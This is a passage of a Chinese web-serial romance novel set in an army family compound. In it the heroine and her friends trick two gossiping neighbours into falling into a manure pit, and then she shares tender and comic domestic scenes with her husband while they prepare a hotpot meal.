邓翠香一举起马扎,姜向阳拔腿就跑,手里还紧紧抓着一大把爆米花。 他满广场地跑,奶油爆米花的香气也跟着飘散开来,引得不少小孩馋巴巴地凑了过来。 军属区离城里远,买东西不方便,嫂子们顶多就给孩子们准备了点盐水煮的毛豆、花生什么的。 哪里比得上这香甜的奶油爆米花。 周柒柒早就料到会是这样的场面,她从包里拿出几张提前裁成小块的报纸,熟练地卷成圆筒,装上爆米花,递给舟舟。 轻声说道:“舟舟,去发给小朋友们吧。” 军属区的孩子们虽然调皮,但在纪律方面,个个都懂事得很。 不一会儿,就乖乖地在周柒柒面前站成一排。 周柒柒负责装爆米花,舟舟负责分发,两人配合得十分默契,场面井然有序。 这一幕,被不少军嫂看在眼里。 看到自家孩子分到了爆米花,那些刚才还在说闲话的人,都纷纷闭上了嘴。 邱春芳和李红娟家的几个孩子,看到小伙伴们都有,也想去拿爆米花,却被两人一把揪住耳朵拽了回来。 “不嫌脏啊你们!” 两人恶狠狠地说道。 眼看着别的小朋友都吃得开心,自己却吃不到,几个孩子委屈地哭了起来。 尤其是邱春芳的小儿子赵耀祖,直接往地上一躺,一边打滚一边嚎啕大哭,哭声震耳欲聋,怎么劝都停不下来。 周柒柒被吵得耳膜都快炸了,皱着眉头,一脸无奈,恨不得把这熊孩子塞进铁锅炸成爆米花。 好在这个时候,广场上的大喇叭响了起来,八点了,电影要开场了。 第52章 一出好戏 今天放的电影,是《红色娘子军》。 这是1961年的老电影了,周柒柒还从来没看过呢。 以前周柒柒总觉得这种题材的电影肯定没什么意思,但是看着看着,却不知不觉被银幕上的故事深深吸引了。 战争时代的人们,身上有种精气神,是生长在和平年代的她无法体会的。 在看到女主角吴琼花在暴雨夜挣断锁链,赤脚踩过泥泞奔向黎明时,她竟然忍不住哭了出来。 坐在她边上的朱莹莹及时给她递了纸巾过来,顺便给她看了看手表。 表盘上的指针指向八点四十五分,时间差不多了。 周柒柒睫毛轻颤,眼底闪过一丝锐利,迅速将情绪收起。 她伸手拽了拽身旁邓翠香的衣角。 邓翠香眼中闪着兴奋的光芒,用力地点了点头,嘱咐向海看住向阳,然后就弓着身子,偷偷摸摸地离开了座位。 而周柒柒,也在邓翠香离开后不久后站起身来。 她装作起身捡手绢,左右张望时特意让皮鞋底在地上蹭出声响。 左右张望了一番,确认无(you)人在意,才鬼鬼祟祟地离开了座位,然后悄摸摸地拐了一个弯,钻进了广场后面的小树林。 这会儿,广场上的军嫂和孩子们看电影看得正起劲儿呢,没多少人注意到她们。 除了邱春芳和李红娟两人。 这俩可是从头到尾都没看过电影,一直都在注意着周柒柒这边的动静呢! 眼见周柒柒远远地走进小树林,两人对视一眼,心照不宣地迅速起身。 顺道把刚才撺掇着一起看热闹的十几个军嫂一起叫了起来,压低了声音说道。 “你们不是想看好戏吗?周柒柒这会儿跟男人在后头小树林里幽会呢!咱们去给她做个见证!” 听到这话,那些军嫂都有些犹豫。 她们大多是有孩子的母亲,之前孩子都收到了周柒柒送的爆米花。 让她们去瞧周柒柒的笑话,她们心里多少有些过意不去。 有个圆脸军嫂小声嘀咕着。 “这样不太好吧,万一弄错了……” 另外一个扎着麻花辫的军嫂也附和道。 “就是啊,大家都是一个院子里的,别伤了和气。” 最终,只有几个好奇心重,平时就爱和两人一起嚼舌根的军嫂,愿意跟着一起去。 邱春芳和李红娟见状,白了那些打退堂鼓的军嫂一眼,眼神中满是不屑。 “你们可别后悔~!” 说完,她们便气势汹汹地朝着小树林的方向走去。 邱春芳走在最前面,手中举着早就准备好的手电筒。 此时已是晚上九点多,小树林里树木茂密,枝叶层层叠叠,将月光严严实实地遮挡在外。 四周漆黑一片,伸手不见五指。 跟着的几个军嫂心里直发怵,紧紧地挨在一起,脚步也变得迟疑起来。 其中一人声音颤抖地说道:“真有好戏看?这儿啥都没有啊...” 邱春芳和李红娟心里其实也有些忐忑,但就在这时,一阵细细簌簌的声音传入她们耳中。 两人精神一振,赶紧顺着声音的方向用手电筒照去。 光束所及之处,一个神色慌张的身影正手忙脚乱地往一株郁郁葱葱的树丛后面藏。 尽管那人动作迅速,可脚下那淡粉色的裙摆却在灯光下格外显眼,怎么都藏不住。 “周柒柒!别藏了!我看见你了!” 邱春芳大声喊道,声音在寂静的树林里格外响亮。 藏在树丛后面的人影猛地一缩,像是被吓到了一般。 过了好一会儿,才犹犹豫豫地露出半张脸蛋,不是周柒柒又是谁? 她的脸上满是惊慌,长长的睫毛在手电筒的光亮下不停颤抖着。 “邱春芳,李红娟,怎么是你们?你们来这儿干什么?” 邱春芳嘴角立刻扬起一抹得意的笑容,语气中带着几分嘲讽。 “这你就别管了!大半夜的,大家都在广场上看电影,你怎么跑到小树林里来了?被我给逮住了吧?” 一旁的李红娟见邱春芳半天说不到重点,不禁皱起了眉头。 她向前一步,语气严厉地说道。 “你旁边的男人是谁?你胆子可真够大的!居然敢这个时候和男人偷情!还不快出来!” 周柒柒一听,脸色瞬间变得煞白。 她用力推了推身边的人,试图将其完全隐藏起来,声音都有些发颤。 “什么偷情?什么男人?你们看错了!别胡说!” 而她身边的“人”,一直在不停地颤抖,似乎真的很怕被人发现。 李红娟手电筒直直照在周柒柒脸上,语气十分不耐烦。 “少装蒜!快让他出来!” 而邱春芳已经撸起袖子,大步向前。 “装疯卖傻是吧?不出来,我们就把你们俩揪到广场上,让大伙儿评评理!” 说着,几人便朝着两人藏身的地方走去。 “你们干什么?别过来!” 周柒柒声音里带上了颤抖的哭腔。 “事情不是你们想的那样!” “我警告你们,千万别过来啊!否则后果自负!” 然而,几人哪里会听她的解释。 她越是说,她们就越觉得她是心虚,手电筒照着周柒柒的脸,步步逼近! 谁也没注意到,前方干草下掩盖着的粪坑,正散发着若有若无的气味。 邱春芳和李红娟争相恐慌,同时踩上那层虚浮的干草—— 还没等两人反应过来,脚下一滑,大半个小腿已经软绵绵地陷了进去。 浓稠的恶臭冲天而起,两人立即发出杀猪一般的尖叫声! 后面跟着的几个军嫂见状,急忙伸手去拉,想要将两人拽出来。 可是非但没能把这两人拉出来,自己反而也被顺势拽了进去。 这粪坑的深度,刚好到众人的膝盖,里面的猪粪新鲜得很,黏糊糊、滑溜溜的,死死缠住她们的双腿。 几人拼了命地想要挣脱出来,可越是挣扎,脚下就陷得越深,身上沾满的粪污也越来越多。 场面一片混乱,尖叫声、咒骂声、呼救声交织在一起,混乱得不得了! 周柒柒捂着嘴退到一旁,肩膀不住颤抖——不是害怕,而是憋笑憋得浑身发颤。 “哈哈哈!” 爽朗的笑声突然从灌木丛后传来,一个黑影慢悠悠地走了出来。 借着月光,众人才看清。 那个魁梧的身影根本就不是什么男人,而是裹着黑布的邓翠香。 她笑得直不起腰,指着在粪坑里挣扎着的几人。 “叫你们平时乱嚼舌根!这下尝到苦头了吧?” 话音刚落。 就见一大群人乌央乌央地冲了过来。 这边的声响这么大,把广场上看电影的人都给引过来了! 第53章 偷鸡不成蚀把米 为首的,正是妇女主任周淑华,她眼神锐利,带着几分不怒自威的气势。 邱春芳和李红娟几人看电影的时候,占的是正当中的位置。 电影正看到最精彩的地方呢,几个人忽然站起来走了,动静不小就算了,表情动作也都怪怪的。 周淑华一看就知道,这俩人绝对要搞事。 她电影也不看了,一直盯着她们的去向呢。 刚才一听到杀猪般的尖叫声,她立马就带着人冲过来了。 七八只手电筒的光束刺破黑暗,小树林瞬间亮如白昼。 众人定睛一看,顿时目瞪口呆—— 邱春芳、李红娟等几个军嫂,此刻正狼狈地在粪坑里扑腾。 她们头发散乱,身上沾满秽物,之前那幅嚣张的模样荡然无存。 围观的军嫂们忍不住交头接耳,有人用手掩着嘴,肩膀一耸一耸地偷笑。 周淑华眉头紧皱,赶紧喊着让人把她们拽上来。 但那可是粪坑啊,臭味冲天的,围观的军嫂纷纷后退,没有一个肯帮忙的。 最后还是周淑华叫来了广场上维持秩序的小兵。 几个年轻的兵哥哥费了九牛二虎之力,累得气喘吁吁,才终于把几人从粪坑里拽了上来。 这几人扑腾许久,早已没了力气,瘫倒在地上,用手绢有气无力地擦拭着身上的脏污。 “怎么回事?你们怎么...” 看着几人狼狈的样子,周淑华皱紧眉头,掏出手帕捂住鼻子,语气里满是疑惑。 “周主任,你可得替我们做主啊!是周柒柒!” 话还没说完,就被邱春芳尖锐的声音打断。 她满脸涨得通红,活像煮熟的虾子,此刻她哪还顾得上狼狈。 伸出颤抖的手指,颤颤巍巍的伸手指向不远处的周柒柒,像连珠炮似地把自己知道的一股脑全说了出来。 “周柒柒,周柒柒她想趁着大家伙看电影,来小树林里和雷鸣幽会!朱莹莹昨天下午给雷鸣递的小纸条!我是来抓奸的!” 这话一出,众人的目光齐刷刷投向周柒柒。 最近大院里关于她的传闻本就传得沸沸扬扬,此刻更是炸开了锅。 大家窃窃私语,眼神里满是八卦与好奇。 周柒柒早料到邱春芳会反咬一口,她微微扬起下巴,脑袋轻轻一歪,眼神无辜又清澈,声音清亮得犹如广播员。 “什么幽会?什么小纸条?我怎么听不懂呢?邱婶子,你可别血口喷人!” 她顿了顿,又道。 “你说我和雷鸣幽会?那雷鸣人呢?” 众人举着手电筒四处照了照,树林里空荡荡的,哪有男人的影子。 人群里顿时响起质疑声,有人说邱春芳在造谣,也有人猜测雷鸣是不是趁机跑了。 “都别瞎说了!” 周淑华声音陡然拔高,语气严肃。 “雷鸣的初中同学这两天结婚,他昨天中午的时候,就搭着雷政委的顺风车走了,他怎么了能在树林里和人幽会!” 周主任可是妇女主任,出了名的铁面无私,她是不可能说假话的。 这话一出,邱春芳脸色瞬间变得惨白,可她仍不甘心,扯着嗓子喊道。 可她仍不死心,扯着嗓子喊道。 “不可能!我明明亲眼看见的,周柒柒写了张字条!上面写着时间地点,画着一男一女两个小人!还画了爱心!” 她还是有点脑子的,眼珠滴溜溜一转,马上又想到了。 “不是雷鸣,那就是别人!不然为什么周柒柒趁着大家看电影的时候,往小树林钻,他就是和男人约好了偷情!” 她的话成功引起了一些人的附和。 “有道理啊,好不容易放一次电影,居然不看,跑到小树林这边干什么...” “就是啊...” 周柒柒嘴角勾起一抹冷笑,步伐从容地走近邱春芳,抬手在鼻前扇了扇刺鼻的气味,眼神中满是戏谑。 “我来小树林干什么?答案不就在邱婶子你身上嘛?” “你这是什么意思?” 邱春芳一脸茫然,还没反应过来。 邓翠香笑得直不起腰,好不容易缓过气来,扬了扬藏在背后的铁锹,说道。 “我们是来挖粪坑的啊,最近菜地收成不好,我想找块地挖粪坑,积点肥,就让柒柒帮我画了图,莹莹帮忙给写的报告,昨天下午莹莹顺路帮我交给周主任审批。” “这不,我白天刚去附近村子里收的新鲜猪粪,怕过两天要下雨,所以就拽着柒柒帮我赶快挖好,省得耽误了!” 说着,她还冲着周淑华那边扬了扬下巴。 “不信,你们可以问问周主任。” 周淑华点了点头。 “确实是这样没错,挖积肥坑是正当用途,我昨天下午批了的。” 周淑华说着的时候,邓翠香就一直在撮口袋。 等周淑华一说完,她立马夸张地拍了拍脑门,从口袋里掏出一张皱巴巴的白纸,高高举起,在众人面前晃了又晃。 “哎呀,我还随身带着呢,诺,就是这张!大伙儿看看!” 众人凑近一瞧,纸上确实写着时间地点,可画的哪是什么小人,分明是几只正在下粪的猪和一个小粪坑,和眼前的场景完美对应。 军嫂们看着画纸,又看看刚从粪坑爬出来,狼狈不堪的邱春芳等人,指指点点的声音更响了。 “人家挖粪坑积肥,她们非说人家偷男人,这都什么事儿啊!” “可不,好好的肥料都被她们给拱了!这就叫偷鸡不成蚀把米!” “听风就是雨的~!幸亏我刚才没跟着她一起过来,要不然也得跟着一起掉粪坑了!” “谁说不是呢!” ...... 邱春芳和李红娟几人恨不得找个地缝钻进去,脸涨得通红,窘迫得不行。 尤其是李红娟,她刚才全程都没说一句话。 从掉粪坑那个时候开始,她就知道她们是上了周柒柒的套儿了。 她刚才一直拽着邱春芳,想让她别说了,可邱春芳一直不听,非得刨根问底。 这不,闹的笑话越来越大了! 眼见这会儿人聚集地越来越多,她赶紧拉着邱春芳逃跑了。 这几个人身上可都粘着猪粪呢,所到之处,所有军嫂全都捂着鼻子,躲得远远的,生怕被她们染上了。 第54章 人不犯我,我不犯人 这一出闹剧狗血十足,军嫂们哪还有心思看露天电影,三三两两地凑在一处,压低声音叽叽喳喳地议论不停。 放映队的同志见她们聊得热火朝天,忍不住好奇地打听究竟发生了什么事。 周淑华心里头那叫一个慌啊,这种丢人现眼的事儿,哪能传到外面去哟。 她一咬牙,索性让人把电闸给拉了,假装停电,匆匆说了几句场面话,就把众人打发着各自回家了。 邓翠香把孩子送回家里,让大的看着小的,脸上挂着掩不住的笑意,抬脚就往周柒柒家走去。 刚到周柒柒家门口,正巧碰上朱莹莹。 她刚才全程都在广场上帮忙看几个孩子,没能看到发生了什么,这会儿心里急得像有猫在挠一样。 看舟舟去洗澡了,三人赶紧一起进了周柒柒的房门。 朱莹莹迫不及待地凑上前,语气里满是焦急。 “怎么样?顺不顺利?快跟我说说!” “哈哈哈哈哈.....” 周柒柒和邓翠香对视一眼,那笑意就跟决堤的洪水似的,再也憋不住了,放声大笑起来。 刚才当着那么多人的面,她们俩强忍着,连个笑模样都不敢露,这会儿屋里就她们三个,哪还有啥顾忌哟。 两人笑得那叫一个上气不接下气,足足过了十分钟,笑得脸颊都发酸了,才喘着气说起事情经过。 起初,两人你一言我一语地描述,可说着说着,邓翠香越说越兴奋,手脚并用,眉飞色舞地重现当时的场景。 周柒柒抢不上话,只能在一旁看着,眼里满是笑意。 “一切都跟柒柒预想的一模一样!” 邓翠香笑得直不起腰,双手还不停地比画着。 “柒柒在我边上,声音发颤,一个劲儿喊‘别过来,别过来’,那模样,就跟真有那么回事儿似的!” “那两个女人,一听动静,撒开腿就冲过来,我眼睁睁看着她们‘扑通’一声,全掉进粪坑里了!” “那场面,啧啧,你是没看见,这两人当时的脸色,哈哈哈哈,比猪粪还臭呢!” 朱莹莹瞪大了眼睛,满脸都是难以置信,嘴巴张得能塞进一个鸡蛋。 “真的啊?这么精彩?” 周柒柒也跟着乐,却佯装生气地嗔怪道。 “你还好意思说!我正演得起劲儿呢,一回头,就看见翠香姐在那儿笑得浑身发抖,要不是我悄悄掐了她一把,非露馅不可!” 朱莹莹听得心里直痒痒,又有些懊恼,跺了跺脚说。 “早知道,我就让老王来看孩子,我和翠香姐换着演,我来演‘野男人’!我肯定能憋住笑!” 周柒柒撇了撇嘴,满脸嫌弃。 “就你那演技,还不如翠香姐呢!昨天下午递纸条,你脸红得跟煮熟的虾似的,说话结结巴巴,差点就露馅了!” 朱莹莹的脸"唰"地红透,绞着衣角嘟囔。 “我……我那是太紧张了,怕被听出破绽,一时忘词了…… 周柒柒双手背在身后,故作老成地晃了晃脑袋。 “你俩啊,平时练得挺好,一到关键时刻就掉链子,还得靠我撑场面!” 朱莹莹有些不好意思,挠了挠头,拉着邓翠香的胳膊,两人一脸崇拜地望着周柒柒。 “我们这不是头一回嘛!以后多跟你学着点儿,下次肯定不会掉链子!” 周柒柒无奈地摇了摇头,轻笑道。 “哪还有下次?李红娟又不傻,这‘诱敌深入’的法子,用一次就够了,再用可就不管用了。” 朱莹莹失望地叹了口气。 “唉,真可惜……” 邓翠香却爽朗地大笑起来。 “有什么可惜的?柒柒这一招,够她们长记性了!她俩以后肯定不敢随便编排柒柒的闲话了!” 顿了顿,她又补充道。 “而且今晚这两人闹了个大笑话,连带着两人之前传的那些闲话,大家都不怎么相信了呢!都说是邱春芳自己捕风捉影,瞎胡编排的!” 两人都感慨地夸赞起来。 “柒柒,你这招可真厉害~!” 三人正说得热闹,周柒柒家的院门“吱呀”一声响。 周柒柒探出头一看,居然是沈淮川回来了! 他们之前救灾十分成功,提前预判受灾位置,转移群众,替群众挽回了不少损失,事后又替群众重建家园。 前几天,雷政委派他去中央传授救援经验,顺便接受表彰。 明明说是下周一才回来呢! 现在居然提前了两天。 今晚这事儿她可没跟沈淮川说过。 本来想着,过两天正好事情平息了,到时候再跟他简单说几句的。 没想到,他这就回来了,外头现在风言风语的,也不知道他听没听到。 邓翠香和朱莹莹十分识趣,一看是沈淮川回来了,一分钟都不多留,一溜烟就跑没了,那速度,比兔子还快。 周柒柒正忐忑着要怎么跟沈淮川说呢,却听沈淮川的声音冷冰冰的。 “刚才我去了趟雷政委家。” 柒柒心里“咯噔”一下,刚才那处好戏结束之后,周淑华可没拿好眼瞧她。 拉她到一边,说她搞事,抹黑了整个军属区,还破坏团结。 周柒柒装傻充愣没理会她。 估计她又要再沈淮川面前说三道四了,也不知道沈淮川会是什么态度。 会不会觉得她太过分了。 她有些忐忑地开口。 “你都知道了?” 沈淮川点了点头,“嗯,知道了。” 他的语气冰冷,直接下了结论。 “这件事情,你做得不对。” “我...你听我狡,不是,解释,是邱春芳她们...” 柒柒有点小慌乱,又有点小委屈,眼角红彤彤的,眼睫毛忽闪忽闪的。 沈淮川绷着的脸瞬间柔和下来,声音也不自觉放软。 “不用解释。” “我是想说,以后有这种事,提前跟我说,我来帮你挖坑拉粪,你的脚伤那么严重,不适合干这些。” 柒柒“噗嗤”一下就乐了,赶紧反问道,“你没觉得我破坏团结?” 沈淮川坚定地摇了摇头,“主席说过,人不犯我,我不犯人,人若犯我,我必犯人。” “你只是拥护领导。” 刚才周淑华跟她告状的时候,他就是这么回答的,把周淑华气得够呛,脸都绿了。 周柒柒没想到,沈淮川扯大旗的功力这么强,跟她都有的一拼了。 强忍住笑意解释道。 “嘿嘿,那些累活儿都是翠香姐自己干的!她没舍得让我插手!她本来就是要沤肥的!” 说着,她又晃了晃自己的脚丫子。 “再说了,我哪儿就那么娇气了?这几天我一直在涂药呢,脚都已经好得差不多了,不信你瞧!” 沈淮川挑了挑眉,嘴角微微上扬。 “好了?那正好,明天可以继续开始训练了。” 周柒柒干笑一声,扶着桌子十分“艰难”地挪了几步。 “你理解错了,好的差不多的意思是,还没完全好,完全还没好!你瞧,走路都没劲儿呢!” 沈淮川眉眼柔和,憋住笑意,佯装严肃。 “那你再修养几天,别乱动了。” 周柒柒忙不迭地点了点头,却听沈淮川接着说道。 “对了,我约了雷鸣明天到咱们家来吃饭,你腿脚不方便,就别做饭了,我去国营饭店打包菜回来。” 第55章 别走 “咱们专程请雷鸣到咱家吃饭,结果去饭店打包菜回来,好像不太好吧?” 周柒柒眉心微蹙,杏眼之中满是不赞同,神情透着认真与纠结。 “显得咱们夫妻俩对客人不太重视。” 她抿了抿唇,接着说道。 “还是自己做菜,显得更有诚意一点。” 沈淮川听到周柒柒口中蹦出“雷鸣”的名字,眉头紧锁。 可听到后面提到“夫妻俩”和“客人”时,他的眉眼瞬间柔和下来,略作思索后,开口提议道。 “那...我来做饭?” 周柒柒眼中闪过一丝狐疑,微微歪着头,上下打量着眼前的男人。 “你会炒菜吗?咱们四个人吃饭,怎么着也得做五菜一汤,还得弄得隆重些,至少做两道大菜,鸡鸭鱼肉得挑着做......” 她可还记得自己来这个家第一晚,沈淮川给他啃的是压缩饼干,喝的是生水呢! 沈淮川会做饭才怪呢! 被她这么一说,沈淮川耳根有些泛红,微微撇了撇嘴,像是有点不好意思,又有点不服气。 “这么麻烦,不然算了,我再去友谊商店给他买一身进口西装。” 周柒柒一听,赶紧拉住他。 “别别别。” 这服装行情她之前是打听过的,普通西装一百多块,进口的需要三四百块,没有外汇券还买不着。 雷鸣的救命之恩是得报,但这么多钱,她也舍不得啊。 她和沈淮川赚的钱,也不是大风刮来的。 她眼珠子滴溜溜转了转,想了个法子。 “这样,咱们在家烫火锅好了,正好前两天翠香姐到咱们家唠嗑的时候,教过我怎么炒火锅底料。” “烫火锅,也不用辛苦炒菜,就切切肉,洗洗菜,不用费什么劲儿。” 她兴致勃勃地说着。 “大不了咱们多费点心,多买点肉!” 听她这么一说,沈淮川忙不迭地点了点头。 “好,那你来说,我来做。” “行,那我先列一份清单出来。” 周柒柒应了一声,下意识快步走向房间,不一会儿就拿着纸和笔出来,笔尖在纸上快速滑动,唰唰唰写了满满一大串。 她正准备把清单交给沈淮川,一回头,就撞进他清澈的目光里。 沈淮川正一眨不眨地盯着她的脚丫子,眼中满是审视。 周柒柒心里一紧,轻轻掐了自己一把,随即装作柔弱的样子,挪着步子靠向沈淮川,声音娇弱。 “哎呦...疼...” 她倚在沈淮川身上,撒娇道。 “谁让我这脚不争气呢!只能辛苦你了!老公~~” 没办法,她实在不喜欢跑步,而沈淮川却总惦记着让她锻炼身体。 她演得跟真的似的,眼角红彤彤的,眼波流转,眸子湿漉漉的,喊着“老公”的尾音又娇又俏。 而且身上一点儿也不使劲儿,整个人都挂在沈淮川的身上。 整个人软软地挂在沈淮川身上,没使半分力气。 沈淮川浑身瞬间僵硬,慌乱地别过脸,伸手接过清单,声音都变得不自然。 “不辛苦。” 周柒柒见他耳尖泛红,浑身肌肉紧绷,忍不住又凑近几分,踮起脚,在他耳边轻声说道。 “谢谢老公~” 温热的气息拂过耳畔,沈淮川的脸“腾”的一下红透,连脖子都染上了红晕,像被烫着了似的。 就在这时,隔壁突然传来"哐当"一声,听起来是碗碎在了地上。 周柒柒吓得浑身一颤,下意识往沈淮川怀里缩去。 沈淮川也本能地低下头,手臂环抱住她。 两人一个低头,一个踮脚,唇瓣不经意间轻轻相触,又迅速分开。 他的唇冰冷、湿润,却异常柔软。 意识到发生了什么时,周柒柒的脸唰地一下就红了。 她长这么大,都一直是母胎SOLO,这还是第一次和男人有这种实质性的接触呢。 她只感觉又羞又臊,赶紧从沈淮川怀里逃开。 “我去烧水洗澡。” 说着转身就要走,沈淮川却是一把拽住她的胳膊。 他的手掌带着层薄茧,磨得她肌肤发麻,声音也带着几分暗哑。 “别走。” 四目相对,周柒柒的心脏跳动得厉害,又羞又怕,都有点不敢看沈淮川了。 她虽然是母胎SOLO,但是言情小说和电视剧可没少看,知道夫妻俩遇到这种情况下,接下来要做什么。 说实话,她还没有完全准备好把自己交出去呢。 但两人再怎么说,也结婚快一个月了,沈淮川如果要做什么,也是人之常情。 她好像也不能拒绝。 正忐忑间,沈淮川喉结滚动,声音里满是克制。 “你脚不方便,我去烧水。” “好。” 周柒柒羞得不得了,感觉自己这一声,像是蚊子嗡嗡一样。 等沈淮川一走,她只觉得浑身发软,赶紧在沙发上坐下。 吞了吞口水,庆幸之余,居然还有一丝说不清的,淡淡的失落。 这种情绪还是周柒柒之前从来没有过的呢! 身为一个爹不疼,娘不爱的孩子,她从小习惯了坚强,习惯了掌控自己所有的情绪。 这还是她第一次,忽然有了不受控的感觉。 她不太习惯,也不太喜欢。 她摸了摸自己滚烫的脸颊,轻拍两下。 “周柒柒,你这是怎么了?给我清醒一点!” 她既然下定决心要做一个合格的军嫂,一个优秀的妻子,一个没有血缘关系的亲人。 那么这种事情,就是必须经历的! 没什么好期待的,也没什么好失落的。 给自己做了半天心理建设后,周柒柒眼神已经坚定得像是要入党。 她气势汹汹地去洗了澡,然后直挺挺地躺在床上,就等着沈淮川回来。 但是没想到,还没等到沈淮川从洗澡间里出来呢,就听到一阵敲门声。 这么晚了,周柒柒穿着睡裙不方便去开门,是一身冰冷水气的沈淮川出去开的门。 来的人不是别人,而是隔壁邱春芳的男人,二团一营的营长——赵毅。 他今晚加班训练,这会儿才刚从别人嘴里知道今晚发生了什么事,和邱春芳在家吵了半天。 这会儿,是过来替邱春芳道歉的。 沈淮川没让他进门,只让他在门外说了几句就把人打发走了。 周柒柒看着门那么快就关了,还有点纳闷。 “你怎么不让人进来说?” 沈淮川面色不悦。 “事情已经发生了,光说几句道歉有什么用。” 周柒柒小脑袋赶忙跟着点了点。 “就是,道歉有用的话,要警察做什么?” 经过之前周淑华误会和今晚的事儿,周柒柒对沈淮川的性子多了几分了解。 他跟她是一样的,不圣母,也不惯着那些没安好心的人。 她也就犯不着在沈淮川面前伪装了。 第56章 你怎么穿这个 赵毅在沈淮川那儿碰了一鼻子灰,回家之后便立马与邱春芳争执起来。 两人你一言我一语,争吵声不断,中间还夹杂着摔砸物品的声响和哭嚎,尖锐刺耳的动静搅得周遭邻居不得安宁。 等到晚上十点,隔壁两人终于吵不动了,噪音才渐渐平息下来。 有了这个小插曲,周柒柒和沈淮川也都无心继续刚才的事,耳刮子都被吵得嗡嗡的。 眼看着时间不早了,两人简单说了一下明天买菜的事,就赶紧睡觉了。 上辈子周柒柒半夜睡不着,早上起不来,每天都疲惫不堪,浑身没劲儿,感觉时间都被人偷走了。 但自从穿越到了这里,她跟着军属区的作息,每天晚上九点多睡觉,第二天早上六点多就能准时起来。 而且醒来之后,总感觉神采奕奕的,感觉做什么都有劲儿,时间好像用不完似的。 沈淮川起得比她还早,天还没亮透就出门去集市采购。 等她醒来,沈淮川已经带着大包小包的东西回来了。 顺便还带了热乎乎的烤红薯回来。 一同回来的还有勤务兵秦磊,他刚跨进院子,东西都没放下,就迫不及待地喊道。 “嫂子,咱们今天吃啥好吃的啊?我可太惦记你做的饭了!你都不知道,之前救灾的时候……” 沈淮川没好气地踢了他一脚。 “吃什么吃?你嫂子脚没好,叫你过来是干活的,不是来吃的。” 秦磊不过十七岁,性子实诚,却十分机灵,挨了踢后,揉着屁股,可怜巴巴地望向周柒柒,眼眶泛红,委屈道。 “嫂子~团长踢我~” 周柒柒一看他这小模样就觉得可爱,像邻家小弟弟似的,忍不住瞪了沈淮川一眼。 “人家好心来帮忙的,你踢别人干什么?” “别理他~嫂子给你拿好吃的!” 说着就把秦磊拉进屋子里,递给他一个油纸包。 “诺,你尝尝味道怎么样?嫂子亲手做的,就是时间久了点,有点不脆了。” 她拿出来的,是昨天剩下的爆米花,刚才收拾屋子的时候,从舟舟的桌子上发现的,估计是舟舟没吃完剩下的。 她本来打算扔掉的,这不,秦磊正好来了。 秦磊眼睛一下子就亮了,一口气塞了满嘴,两三口吃完了,吃完还意犹未尽地咂摸嘴。 “真好吃!嫂子你太厉害了!做啥都这么好吃!确实是仙女没错~!” 这孩子说话好听,周柒柒听得心里舒坦,不由拍了拍他肩膀。 “你喜欢的话,嫂子下次做多点,喊你过来吃!” 正说着,秦磊见沈淮川拿起扫把准备扫院子,赶忙上前接过。 这小子虽然爱告状,干起活来却不含糊,扫得十分仔细。 沈淮川便将这些杂事都交给他,自己撸起袖子,往厨房走去,周柒柒也跟在一旁指导。 考虑到雷鸣一个人到家里坐客,可能会不自在。 所以昨晚两人就商量好了,把邓翠香一家,还有朱莹莹两口子都叫过来。 火锅嘛,就得人多了才热闹。 算下来总共是四男三女,外加三个小孩。 这锅底,也得准备两种,一种清汤的,一种牛油麻辣的。 沈淮川做事仔细,该买的东西一样没少,柒柒清点完毕后,随手把围裙递给他。 那是周柒柒自己做的,粉色碎花,沈淮川说什么都不肯穿。 一堆活儿呢,周柒柒也就不勉强她,赶紧指挥着他忙活起来。 先是熬大骨头。 虽然沈淮川做饭没经验,但手劲儿大得不得了,很轻松就把牛大骨敲裂,骨髓跟着骨头一起熬,汤色很快就变得浓白,撇去浮沫后和香料一起慢慢炖就成了。 牛油麻辣的就要难多了。 牛油,豆瓣酱,还有葱姜蒜都要小火慢煸,火太小色泽不够鲜亮,火太大,又容易糊锅,还是很考验技术的。 好在沈淮川很服从周柒柒的命令,她让他干嘛,他就干嘛,一切都很顺利。 等锅底炒得红亮诱人后,还要再加辣椒和花椒。 到了这一步骤,沈淮川看着手边的一盆干辣椒,有点迟疑。 “都要加吗?会不会太多了?” 周柒柒摇摇头,十分豪迈地抓起一把辣椒撒进去。 “不多!翠香姐说了,加大半锅才是微辣,咱们这还差得远呢!继续加!” 说完,她用筷子蘸了一点尝味,辛辣瞬间在舌尖炸开,呛得她眼泪直流,眼前直冒金星。 “不行不行,你赶紧捞出来点!” 沈淮川急忙用筷子去捞,却不小心让辣油溅到了衣服上。 周柒柒见状,嗔怪道,“说了让你系围裙的嘛~你非不肯~” 沈淮川倒是不在意,“没事,待会儿客人来了,我去换身衣服就成。” 两人正说着话呢,外头传来敲门声。 这会儿才十点,还早呢,约好的是十一点钟左右过来的。 柒柒正好奇是谁呢,秦磊把门一打开,一个身影像小皮猴似的窜了进来。 满大院的孩子,除了姜向阳,就没第二个这么疯的了。 他匆匆跟屋里众人打了招呼:“阿姨叔叔们好~” 便头也不回地朝舟舟房间跑去。 这倒是新鲜事,秦磊兴奋地说:“舟舟交到朋友了?好事啊!以后……” 话还没说完,屋里突然传来一阵跺脚声。 众人回头一看,只见姜向阳把舟舟桌上的画笔、画纸全扔在了地上,随后又风一般跑了出去。 “这孩子,这是怎么了?” 周柒柒有些莫名其妙,赶紧跑进屋子里去帮忙把东西都捡了起来,摸了摸舟舟有些苍白的小脸。 “没事吧?” 舟舟摇摇头,大眼睛里蒙着一层雾气,也不说话,看起来不愿说这事儿。 周柒柒没再追问,继续回头和沈淮川忙活去了。 看着时间差不多了,估计客人都要到了,周柒柒便让沈淮川赶紧去换身衣服。 等到沈淮川出来,她愣在原地。 “你怎么穿这个?” 第57章 两个男人之间的斗争 沈淮川身上穿的,不是别的,正是那身“奶瓶”睡衣。 他这些天只有洗完澡睡觉的时候,才会换上。 醒来之后,第一时间就会马上换回训练服。 昨天大半夜赵毅过来敲门的时候,他明明都换上这件睡衣了,又特意换回了背心裤衩才去开的门。 生怕那印着奶瓶图案的睡衣,坏了他堂堂团长的威严形象。 所以看到沈淮川居然换上了这一身,周柒柒一下就愣住了。 “没别的衣服了吗?” 沈淮川垂眸,长睫在眼下投出一片阴影,神色平静如常。 “其他衣服洗了还没干,就这身最干净。” 周柒柒提议道。 “那不然就换回刚才那身?反正也只是溅了几个油点子而已,不仔细看看不见。” 沈淮川轻轻摇头,语气坚定:“外面客人等着呢。” 他都这么说了,周柒柒也不再坚持。 请人家来家里吃饭,夫妻俩一起去开门迎客是必不可少的礼节。 这会儿是十一点整,邓翠香一家和朱莹莹一家都到门口了。 作为军人,刻在骨子里的时间观念让他们从不迟到分毫。 